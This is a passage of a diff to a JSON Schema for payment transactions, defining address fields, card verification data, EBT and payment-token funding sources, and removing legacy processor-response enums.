"^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "title": "Token Verification Data", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type representing the type of verification data", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Verification Data", + "type": "object" + }, + "eVoucherApprovalCode": { + "description": "EVoucher Approval code if used with Electronic Voucher", + "maxLength": 6, + "minLength": 6, + "type": "string" + }, + "eVoucherSerial": { + "description": "EVoucher serial if used with Electronic Voucher", + "maxLength": 15, + "minLength": 1, + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/godaddy-payment-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Token Funding source", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the card used as funding source", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." + "type": "object", + "writeOnly": true + } + }, + "title": "Card Verification Data", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the token used as funding source", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "description": "Provider verification fields." + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + } + }, + "title": "Token Verification Data", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type representing the type of verification data", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "Verification Data", + "type": "object" + } + }, + "title": "Payment Token Funding Source", + "type": "object" + } + ], + "description": "GoDaddy Card-on-file Funding source", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details of the card used for processing transaction", + "properties": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details on how the card is used during transaction", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Interac Mac details of the Payment card", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "legacyData": { + "$defs": { + "LegacyCardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + 